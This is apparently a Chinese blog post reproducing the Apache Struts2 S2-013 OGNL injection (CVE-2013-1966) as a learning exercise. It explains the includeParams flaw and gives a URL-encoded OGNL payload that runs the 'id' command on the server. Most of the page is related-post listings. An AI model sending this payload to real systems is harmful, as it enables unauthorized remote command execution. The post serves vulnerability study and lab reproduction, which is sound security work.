struts2远程S2-013复现学习

Struts2 S2-013漏洞深度剖析:从OGNL注入原理到实战复现 OGNL表达式注入是Java Web安全领域中的一种经典攻击手法,其核心原理在于攻击者能够将恶意表达式注入到应用的数据绑定或视图渲染流程中,并被框架解析执行。这种技术之所以危险,是因为它绕过了常规的输入验证,直接利用了框架的核心数据导航功能。从技术价值看,理解OGNL注入有助于深入掌握Java Web框架的安全机制和常见攻击面,是安全研究人员和开发工程师进行代码审计和漏洞挖掘的关键技能。在应用场景上,此类漏洞常见于Struts2、Spring等使用表达式语言的MVC框架中,攻击者可借此实现远程代码执行、数据 阅读详情

S2-013复现

原理

struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值

none - URL中不包含任何参数(默认)
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

影响版本:Struts 2.0.0-2.3.14

漏洞搭建

Struts2 的标签<s:a>和<s:url>提供了一个 includeParams 属性。该属性的主要作用域是了解是否包含 http 请求参数。

includeParams 的允许值为:

  1. none - 在 URL 中不包含任何参数(默认)
  2. get - 在 URL 中仅包含 GET 参数
  3. all - 在 URL 中包含 GET 和 POST 参数

当 时includeParams=all,这个请求的 GET 和 POST 参数放在 URL 的 GET 参数上。在此过程中,参数将被 OGNL 表达式解析。它导致命令执行。

poc构建

a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

【Vulfocus解题复现】Struts2 S2-013 Struts2 远程命令执行漏洞 (CVE-2013-1966) 漏洞介绍 名称:Struts2 S2-013 远程命令执行漏洞 漏洞版本:Apache Group Struts 2.0.0 - 2.3.14 CVE标识符:CVE-2013-1966 描述:url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为:none-在URL中不包含任何参数(默认),get-仅在URL中包含get参数,all-在URL中同时包含get和post参数。当INCLUDEPa 阅读详情

相关推荐

【安全漏洞】Struts2漏洞集合总结

总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署。

HBohan的博客 3598

Struts 2中的constant配置详解

通过对这些属性的配置,可以改变Struts 2 框架的一些默认行为,这些配置可以在struts.xml文件中完成,也可以在struts.properties文件中完成 1.  指定Web应用的默认编码集,相当于调用 HttpServletRequest的setCharacterEncoding方法。 2. 该属性设置是否每次HTTP请求到达时,系统都重新加载资源文件。该属性默认

hello world! 1263

Materials Studio与LAMMPS联合作战:如何用msi2lmp.exe完美转换聚合物模型(含PCFF力场配置)

本文详细解析了如何利用msi2lmp.exe工具将Materials Studio中的聚合物模型高效、准确地转换为LAMMPS可识别的data文件,并重点配置PCFF力场。文章提供了从MS模型构建、文件导出到命令行转换、参数调整及转换后验证的全流程实战指南与避坑技巧,旨在帮助研究者解决模型转换中的常见问题,实现跨平台分子动力学模拟的无缝衔接。

weixin_29228781的博客 521

struts2之url标签,文件上传下载和对ajax支持

文章目录1 url标签简介1.1 includeParams属性1.2 includeContext属性1.3 Method属性1.4 namespace属性2 文件上传和下载2.1 文件上传2.1.1 编写上传页面2.1.2 编写处理上传的业务逻辑action2.1.3 配置struts.xml2.2 文件下载2.2.1 编写下载页面2.2.2 编写处理下载的业务逻辑Action2.2.3 配置struts.xml 1 url标签简介 <s:url>标签一般和超链接 <a>一起使用

上善若泪 1437

软件测试方法——等价类划分法详解

!如果下面这些资料用得到的话可以直接拿走:1、自学开发或者测试必备的完整项目源码与环境2、测试工作中所有模板(测试计划、测试用例、测试报告等)3、软件测试经典面试题4、Python/Java自动化测试实战.pdf5、Jmeter/postman接口测试全套视频获取6、Python学习路线图。

MXB1220的博客 1万+

基于SHIS凝视型短波红外高光谱相机(900-1700nm)区分不同宝石的差异性和可分性(宝石分选)

SHIS系列凝视型高光谱相机基于液晶可调谐滤波器(LCTF),通过电控LCTF进行连续细分窄波段分光,对每个波段进行高分辨率的二维面阵成像,进行图像处理后,获得完整的高光谱高清图像序列。具有低功耗、小型化、使用方便和易于扩展的优势。其工作波段覆盖400nm至1000nm,能够捕捉宝石在不同波长下的光谱特征,为宝石鉴定提供了新的工具。

wayho的博客 710

Apache Struts2远程代码执行漏洞(S2-013)复现

查询原理:s:url和s:a标记都提供includeparams属性。 该属性的主要作用域是了解包含或不包含http://request参数的内容。 INCLUDEParams的允许值为: 无-在URL中不包含任何参数(默认) get-仅在URL中包含get参数 全部-在URL中同时包含get和post参数 包含精心设计的请求参数的请求可用于将任意ognl代码注入堆栈,随后用作URL或标记的请求参...

qq_36933272的博客 1893

PX4笔记系列(二)vtol_att_control中的tiltrotor解析

update_vtol_state() 注释:采用两段切换的简单逻辑来进行过渡 当切换过渡开关后,飞机将会开始倾转动力,逐渐加速,当飞机获得足够速度后动力将会完全打到向前的位置。对于过渡返回阶段动力则是简单地倾转回来。 如果(不在向前过渡指令下): 当前vtol飞行模式: 1、旋翼模式 无操作 2、固定翼模式 令vtol飞行模式切换到过渡返回模式 3、P1过渡模式 进入过渡失败安全返回至旋翼模式 4、P2过渡模式 进入过渡失败安全返回至旋翼模式 5、过渡返回模式 记录过渡返回时间=当前时间-过渡开始

hypersonicss的博客 1881

Apache Struts2 includeParams属性远程命令执行漏洞(CVE-2013-1966)

漏洞版本: Apache Group Struts 2.0.0 - 2.3.14 漏洞描述: CVE(CAN) ID: CVE-2013-1966 Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。 Apache Struts2的s:a和s:url标签...

weixin_30711917的博客 776

【原理图PCB专题】案例:双排0.5mm间距座子转单排0.5mm间距座子Layout方案分析

本文提供一种分析思路,并通过实际案例来进行Layout方案分析的讲解。

一点硬件 456

如何用matlab扫频法测考虑频率耦合的并网逆变器的序阻抗,如何实现?

🏆本文收录于 《全栈Bug调优(实战版)》 专栏,该专栏专注于分享我在真实项目开发中遇到的各类疑难Bug及其深层成因,并系统提供高效、可复现的解决思路和实操方案。无论你是刚入行的新手开发者,还是拥有多年项目经验的资深工程师,本专栏都将为你提供一条系统化、高质量的问题排查与优化路径,助力你加速成长,攻克技术壁垒,迈向技术价值最大化与职业发展的更高峰🚀!

**My Coding Family** 1193

Java Struts2系列的XSS漏洞(S2-002)

漏洞简介:Struts2-002 是一个 XSS 漏洞,该漏洞发生在 s:url 和 s:a 标签中,当标签的属性 includeParams=all 时,即可触发该漏洞。

蚁景网安学院 779

阿里云 Docker 镜像加速收费后:这些免费替代方案值得收藏

阿里云Docker镜像加速服务收费后,国内开发者急需免费替代方案。本文推荐2025年仍可用的7个免费镜像源,包括轩辕镜像、DaoCloud、网易云等,并提供多源配置方案以提高稳定性。建议开发者在CI/CD环境中配置多个镜像源,避免构建失败。文章还提供了详细的配置步骤和使用建议,适合个人和团队开发者参考。

sg_knight的专栏 1931

Struts2框架漏洞总结与复现(上) 含Struts2检测工具

在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。时使用了重定向类型,并且还使用paramname作为重定向变量,UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2获取使用{name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任何OGNL表达式导致命令执行。在账号密码的输入框中测试是否存在漏洞。

qq_53058639的博客 2475

Transformer实战(1)——词嵌入技术详解

词嵌入的核心思想是,通过将词语表示为稠密的向量,使得计算机可以更有效地处理和理解文本中的语义关系。在本节中,我们学习了单词分布式表示的概念及其实现,包括静态嵌入和动态嵌入,实现了 Word2Vec 和 GloVe 模型,并介绍了如何使用 Gensim API 探索嵌入空间。

盼小辉丶的博客 1万+

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Struts2漏洞分析与复现合集

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。 漏洞环境搭建 https://github.com/vulhub/vulhub/tree/master/struts2/s2-001 运行以下命令进行设置 .............

未完成的歌~的博客 9263

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

漏洞复现----33、Struts2/S2-013/S2-014

文章目录一、漏洞原理二、环境启动三、漏洞复现四、S2-014 一、漏洞原理 S2-013: Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,可以设置成如下值: 1、none - URL中不包含任何参数(默认) 2、get - 仅包含URL中的GET参数 3、all - 在URL中包含GET和POST参数此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行 需要在JSP页面中将s:url、s:a标签中的includeP

七天 809

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

[struts2]s2-013 漏洞复现

[struts2]s2-013 环境搭建 github buuctf poc Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下: none - 链接不包含请求的任意参数值(默认) get - 链接只包含 GET 请求中的参数和其值 all - 链接包含 GET 和 POST 所有参数和其值 <s:a>用来显示一个超链接,当includeParams=a

satasun的博客 1061

墨者学院-Apache Struts2远程代码执行漏洞(S2-013)复现

Apache Struts2远程代码执行漏洞(S2-013)复现 难易程度:★ 题目类型:命令执行 使用工具:FireFox浏览器、burpsuite 漏洞原理: s:url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为:none-在URL中不包含任何参数(默认),get-仅在URL...

JimWu的博客 2148

Vulhub下的Struts-2漏洞复现

参考网址: https://github.com/phith0n/vulhub/tree/master/struts2/ Struts-S2-001 远程代码利用表单验证错误 1.漏洞描述 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的...

weixin_44508748的博客 2万+

Struts2 S2-013复现

Struts2 S2-013复现

ZJT6666666的博客 505

在线靶场-墨者-命令执行2星-Apache Struts2远程代码执行漏洞(S2-013)复现

S2-013漏洞原理:struts2的标签中 < s:a > 和 < s:url > 都有一个 includeParams 属性,可以设置成值none或get或all ,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。此时< s:a > 或< s:url >尝试去解析原始请求参数时,会导致OG...

weixin_42079912的博客 763

vulhub中Struts2-013/Struts2-014 远程代码执行漏洞复现

漏洞复现过程的记录

yougexiaojiuguan的博客 655

S2-013的一次逐步复现分析

站在巨人的肩膀上,嚼烂了分析漏洞

jary__D的博客 800

java struts2 漏洞复现合集

目录 一、S2-001复现 二、S2-005复现 三、S2-007复现 四、S2-008复现 五、S2-009复现 六、S2-012复现 七、S2-013复现 八、S2-015复现 九、S2-016复现 十、S2-045复现 十一、S2-048复现 十二、S2-052复现 十三、S2-053复现 十四、S2-057复现 十五、S2-019复现 十六、S2-devMode 复现 Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 i

whatday的专栏 9752

struts漏洞总结

struts2漏洞,从S2-001到 S2-061,嘿嘿。

Fiverya的博客 7481
上一篇: struts2远程S2-012复现学习
下一篇: 首次渗透实战笔记
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值